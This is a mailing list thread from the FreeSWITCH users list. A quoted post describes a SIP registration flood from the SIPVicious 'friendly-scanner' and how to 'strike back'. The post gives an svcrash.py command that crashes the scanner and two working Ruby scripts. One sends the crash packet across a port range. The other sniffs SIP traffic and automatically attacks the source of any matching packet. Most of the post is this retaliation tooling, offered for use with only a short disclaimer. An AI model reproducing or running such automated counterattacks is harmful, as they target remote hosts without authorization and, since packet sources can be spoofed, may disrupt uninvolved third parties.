[Freeswitch-users] SPIT attack and how to strike back

[Denis Galvao]

Nice! Thanks for sharing!

Denis

2011/4/20, Peter P GMX <Prometheus001 at gmx.net>:
> Hello all,
>
> I would like to share this with you as you may have also been affected
> by this threat.
>
> Yesterday we received a SPIT attack to our Freeswitch servers. We had
> about 50 register requests/sec. We noticed this as we saw a slight
> increase in the load of the Freeswitch servers. Fortunately Freeswitch
> can handle a huge amount of register requests so we had no denial of
> service.
>
> You can identify this attack by finding the following in the Register
> message:
>     User-Agent: friendly-scanner
>
> How to get rid of it:
> The attacker used Sipvicious (friendly-scanner). Sipvicious itself has a
> nice tool "svcrash.py" wich can send a malformed packet back to the
> attacker which crashes their own Sipvicious tool. You can issue this tool by
>   python svcrash.py -d <host of attacker> -p <port of attacker>
> You will need port 5060 on your machine to work. But there is also a
> workaround for that. svcrash.py will show how to overcome this if your
> port 5060 is not available.
> Download it here
> http://sipvicious.googlecode.com/files/sipvicious-0.2.6.tar.gz and
> unpack it to a folder of your choice.
>
> I wrote a small Ruby script to send the packet back to a port range, as
> our attacker used some dozens of ports to send.
> Here is the script (Install ruby first by "apt-get install ruby" e.g. on
> Debian based systems). Put it into the sipvicious directory
> kill_ports.rb:
>
> #!/usr/bin/env ruby
> host=ARGV[0]
> start_port=ARGV[1].to_i
> end_port=ARGV[2].to_i
> start_port.upto(end_port) do |port|
>   cmd="python svcrash.py -d #{host} -p #{port}"
>   p cmd
>   erg=`#{cmd}`
>   p erg
> end
>
> You now can run it by
> ./kill_ports.rb <ip> <from_port> <to_port>
>
> By using this tool we got rid of most of the SPIT messages. But after a
> while they started again to attack us from different ports.
>
> The next step is: Why not automate this by trying to identify host and
> port automatically and send back the svcrash.py packet to the sender's port?
>
> First install the pcap library
>     apt-get install libpcap-dev libpcap-ruby
>
> Then I wrote the following tool to automate this, it makes use of the
> kill_ports.rb above:
> strike_back.rb:
>
> #!/usr/bin/env ruby
> # I used some code from http://snippets.dzone.com/posts/show/5931
> require 'pcaplet'
> require 'logger'
> require 'timeout'
> @timeout=3600 # max runtime: 1 hour
>
> @logfile='strike_back.log'
> class AuditLogger < Logger
>   def format_message(severity, timestamp, progname, msg)
>     puts msg
>     "#{msg}\n"
>   end
> end
>
> logfile = File.open(@logfile, 'a')
> LOGGER = AuditLogger.new(logfile)
> LOGGER.level = Logger::INFO
> search="friendly-scanner"
> puts"Searching for '#{ search}' in SIP packets"
> $network = Pcaplet.new('-s 1500')
> $filter = Pcap::Filter.new('udp and dst port 5060', $network.capture)
> $network.add_filter($filter)
> puts "Logfile: #{@logfile}"
> puts "Starting capture..."
> begin
>   Timeout.timeout(@timeout) do # 3600 sec
>     for p in $network
>         header= "#{Time.now.strftime("%Y-%m-%d %H:%M:%S")}
> #{p.src}:#{p.sport} => #{p.dst}:#{p.dport}"
>         if $filter =~ p
>             #puts "simple search"
>             if p.udp_data.index(search)
>               LOGGER.info "Kill Friendly scanner #{p.src} with Source
> Port #{p.sport}"
>               cmd="./kill_ports.rb #{p.src} #{p.sport} #{p.sport}"
>               erg=`#{cmd}`
>               p erg
>               LOGGER.info header
>               LOGGER.info p.udp_data
>             end
>         end
>     end
>   end
> rescue Timeout::Error
>   logfile.flush
>   puts "Timeout - finished."
> end
>
> There may be a better way to code this, but at least it worked. After
> about 15min the number of attacks went to 0.
>
> Disclaimer: You can damage other systems by using these tools. So be
> carefull and use at your own risks. Do not use this tool for attacking
> other systems!
>
> Best regards
> Peter
>
> _______________________________________________
> FreeSWITCH-users mailing list
> FreeSWITCH-users at lists.freeswitch.org
> http://lists.freeswitch.org/mailman/listinfo/freeswitch-users
> UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users
> http://www.freeswitch.org
>

-- 
Enviado do meu celular